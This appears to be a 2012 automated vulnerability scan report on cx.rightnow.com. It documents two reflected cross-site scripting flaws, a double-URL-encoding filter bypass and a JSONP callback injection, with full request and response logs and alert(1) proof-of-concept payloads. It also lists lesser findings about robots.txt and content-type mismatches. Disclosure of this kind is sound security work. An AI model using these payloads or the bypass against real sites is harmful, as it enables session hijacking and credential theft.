Report generated by XSS.Cx at Wed Aug 08 11:14:45 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, cx.rightnow.com

Loading

1. Cross-site scripting (reflected)

1.1. http://cx.rightnow.com/app/utils/simple_login_form/p_sso/http%253A%252F%252Fwww.rightnow.com%252Fsso-thanks.php [REST URL parameter 5]

1.2. http://cx.rightnow.com/cc/ajaxCustom/checkBDRChatAvailability [callback parameter]

2. Robots.txt file

3. Content type incorrectly stated

3.1. http://cx.rightnow.com/cc/ajaxCustom/checkBDRChatAvailability

3.2. http://cx.rightnow.com/ci/ajaxCustom/xsDoLogout/

3.3. http://cx.rightnow.com/euf/rightnow/optimized/1325634091/themes/rntSupport/resources/fonts/helvetica-light-webfont.woff



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://cx.rightnow.com/app/utils/simple_login_form/p_sso/http%253A%252F%252Fwww.rightnow.com%252Fsso-thanks.php [REST URL parameter 5]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cx.rightnow.com
Path:   /app/utils/simple_login_form/p_sso/http%253A%252F%252Fwww.rightnow.com%252Fsso-thanks.php

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a462%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e66b6e2e427e was submitted in the REST URL parameter 5. This input was echoed as 4a462"><script>alert(1)</script>66b6e2e427e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /app/utils/simple_login_form/p_sso/http%253A%252F%252Fwww.rightnow.com%252Fsso-thanks.php4a462%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e66b6e2e427e HTTP/1.1
Host: cx.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cp_session=aUMHNV4hlVHE1CPKxZhG8fA4NAxheoHQVxGPXMSAP1OUKoKzscnGtGgsYr4ZIsh9DEi2ozGzOI9U7OOfzJvtkFXCb51roeUwqTV3x0oXAG_J1vgaGWqKNroWg6aYW1jcszd9b9K4GwWe%7EXtDcwN5xAwfC1oIH2m98j; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:20:21 GMT
Server: Apache
Cache-Control: no-cache
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUi0hr6nd8QMOuvIRw3YCfseVz26EVw1YbjbzWASd92nPYg_qom6QWg5P5N5_XJztg6F4ADVnRLfFpzrFmXMwNrxFKxvF1Gr1f5crWuct0s0AwYQqiX4gkxkGU9RP2xAd6hxs3Z7YsE_ORyP0aYbbWcFNCvLIRYbFprzlT%7EE2YRvBjiAhUq6CF3vXQwSOnfQBHHcYflPbZ9XPGRor3Mmdlc5FmLSnNbX8rNZTGvLIL86zPOjAsOFK3C5qYyGw1JEvzvnLOOWGS7iUayOSeWCMxFuabDVcYIVe62kuIA5QngqWZD7y9Rcuh_uYgU154HeRTuZ8V_O_25ZP3E70XDIMysO%7EjVjMsejEn2PrW97BSUCSRM3bF4VUktQ%21%21; path=/; httponly
RNT-Time: D=160538 t=1325989221256980
RNT-Machine: 100.198
Vary: Accept-Encoding
Content-Length: 8346
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="no_wrapper" xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:la
...[SNIP]...
<a id="rn_FloatboxRedirectLink_2" class="permalink" href="http://www.rightnow.com/sso-thanks.php4a462"><script>alert(1)</script>66b6e2e427e?redirect=http%3A%2F%2Fcx.rightnow.com%2Fapp%2Futils%2Faccount_assistance">
...[SNIP]...

1.2. http://cx.rightnow.com/cc/ajaxCustom/checkBDRChatAvailability [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cx.rightnow.com
Path:   /cc/ajaxCustom/checkBDRChatAvailability

Issue detail

The value of the callback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1465a%3balert(1)//70bcee9d3bb was submitted in the callback parameter. This input was echoed as 1465a;alert(1)//70bcee9d3bb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cc/ajaxCustom/checkBDRChatAvailability?callback=jQuery161024870254681445658_13259891247931465a%3balert(1)//70bcee9d3bb&_=1325989128839 HTTP/1.1
Host: cx.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cp_session=aUd6fjD2L8KVaC3Wu7j4i8Ae7SBw%7Egb6RbbvZvyNAl4GTVblsf4awnjxr1fus31kT8bL4K_LsRpP3gQn8DTRyHSMoRAdGdMBfQ0tqc_ebRTbpK_v7EpsMMpnxSvz6hYW8Z2XCm_gprnQj0_TZKU4M42_oeTEbOW3sD
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:19:26 GMT
Server: Apache
Set-Cookie: cp_session=aU9UV6taqdQZt_t_Ex6lSUsK2jQqsbYu2%7EvUXG5FbMMNTkjyQRQ9oQE01sO7OkPjPBUUtAP4XhlPVt_xlh0iaqxspgcnP9LcP1%7E1BY1S%7ESCNGNZg1xfTlUEmr5opBXBN747XhoOj8UHP3XRdd%7Ei4OLFM26u3LM_ApX; path=/; httponly
RNT-Time: D=148854 t=1325989166791068
RNT-Machine: 100.11
Vary: Accept-Encoding
Content-Length: 135
X-Cnection: close
Content-Type: text/html; charset=UTF-8

jQuery161024870254681445658_13259891247931465a;alert(1)//70bcee9d3bb({"queueId":61,"availableAgentSessions":0,"expectedWaitSeconds":0})

2. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://cx.rightnow.com
Path:   /ci/documents/verifyContact/index.html

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

Request

GET /robots.txt HTTP/1.0
Host: cx.rightnow.com

Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:18:59 GMT
Server: Apache
Last-Modified: Mon, 14 Nov 2011 00:03:15 GMT
Accept-Ranges: bytes
Content-Length: 10857
RNT-Time: D=750 t=1325989139583170
RNT-Machine: 101.88
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

Sitemap: http://cx.rightnow.com/ci/sitemap/ # ADDED BY HMS

#modified tmason 4/2/10 # CUSTOM
#Sitemap: http://crm.rightnow.com/ci/sitemap # CUSTOM
User-agent: * # CUSTOM
Disallow: # CUSTOM
Crawl-
...[SNIP]...

3. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyze the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


3.1. http://cx.rightnow.com/cc/ajaxCustom/checkBDRChatAvailability  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cx.rightnow.com
Path:   /cc/ajaxCustom/checkBDRChatAvailability

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /cc/ajaxCustom/checkBDRChatAvailability?callback=jQuery161024870254681445658_1325989124793&_=1325989128839 HTTP/1.1
Host: cx.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cp_session=aUd6fjD2L8KVaC3Wu7j4i8Ae7SBw%7Egb6RbbvZvyNAl4GTVblsf4awnjxr1fus31kT8bL4K_LsRpP3gQn8DTRyHSMoRAdGdMBfQ0tqc_ebRTbpK_v7EpsMMpnxSvz6hYW8Z2XCm_gprnQj0_TZKU4M42_oeTEbOW3sD
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:18:50 GMT
Server: Apache
Set-Cookie: cp_session=aU9gqHykaNHV%7Ejt8e7ZcMYLxg3g6dV3no6YrO157Qk57PVGNDwIMpuBI5q_CiTymgF6lTUZyRArDe8ovnvMQAf2zdQzerUdrdazSxLTMXg0eQnIX4dfA89PTtI5F2nH%7EaZZMe9rPOI0BkpGOkGN7I0ZUDmvbNDdEjR; path=/; httponly
RNT-Time: D=164524 t=1325989130923346
RNT-Machine: 101.89
Vary: Accept-Encoding
Content-Length: 108
X-Cnection: close
Content-Type: text/html; charset=UTF-8

jQuery161024870254681445658_1325989124793({"queueId":61,"availableAgentSessions":0,"expectedWaitSeconds":0})

3.2. http://cx.rightnow.com/ci/ajaxCustom/xsDoLogout/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cx.rightnow.com
Path:   /ci/ajaxCustom/xsDoLogout/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /ci/ajaxCustom/xsDoLogout/?callback=jQuery161024870254681445658_1325989124795&_=1325989135123 HTTP/1.1
Host: cx.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cp_session=aUMHNV4hlVHE1CPKxZhG8fA4NAxheoHQVxGPXMSAP1OUKoKzscnGtGgsYr4ZIsh9DEi2ozGzOI9U7OOfzJvtkFXCb51roeUwqTV3x0oXAG_J1vgaGWqKNroWg6aYW1jcszd9b9K4GwWe%7EXtDcwN5xAwfC1oIH2m98j; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:18:55 GMT
Server: Apache
Set-Cookie: cp_session=aU5PgIxL5M2B_wxDWMUztnqFzOOn%7EAMQeB7%7Ei4tQtytanyVV7gpR%7EG_2htxaTG9Q7WVP2zYvJxej8vExbrkw6vxYu6kknAaALcsgo7l%7EkuruiQr9o2T4cmbRuTlK9oysfabfsGHjCfYfeXGc_GzX0BVRTS8SuxGsdx; path=/; httponly
RNT-Time: D=124135 t=1325989135912199
RNT-Machine: 100.12
Vary: Accept-Encoding
Content-Length: 81
X-Cnection: close
Content-Type: text/html; charset=UTF-8

jQuery161024870254681445658_1325989124795({"url":false,"session":"","success":1})

3.3. http://cx.rightnow.com/euf/rightnow/optimized/1325634091/themes/rntSupport/resources/fonts/helvetica-light-webfont.woff  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cx.rightnow.com
Path:   /euf/rightnow/optimized/1325634091/themes/rntSupport/resources/fonts/helvetica-light-webfont.woff

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /euf/rightnow/optimized/1325634091/themes/rntSupport/resources/fonts/helvetica-light-webfont.woff HTTP/1.1
Host: cx.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://cx.rightnow.com/app/chat/side_chat_launch/source/http%3A%2F%2Fwww.rightnow.com%2F
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27847E878501115D-6000010AE004CBD4[CE]; cp_session=aUwdEXU7hbzbaP1nuxLeefjZi_JhfwZaChC4JXGECQkt01ETz4Sd5IRmXWXePt_ZGMlBGF0KS16MffGD5z44zUpWcKJoTr4UOHCcBQO%7EQnGNy%7EtKbsUlmj9bAnwcE5d3yC0v%7EuhHiI6IFcX1yqKr4f120aNxOPhsvK
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:19:23 GMT
Server: Apache
Last-Modified: Sun, 13 Nov 2011 05:36:04 GMT
Accept-Ranges: bytes
Content-Length: 21628
Cache-Control: max-age=2592000
Expires: Tue, 07 Feb 2012 02:19:23 GMT
RNT-Time: D=1803 t=1325989163734974
RNT-Machine: 100.224
X-Cnection: close
Content-Type: text/plain; charset=ISO-8859-1

wOFF......T|................................FFTM............\.?.GDEF........... ....GPOS......._...<(.(.GSUB...0...,...0....OS/2...\...F...`j"Z.cmap................cvt ...,...*...*.w    .fpgm...X.......e
...[SNIP]...

Report generated by XSS.Cx at Wed Aug 08 11:14:45 EDT 2012.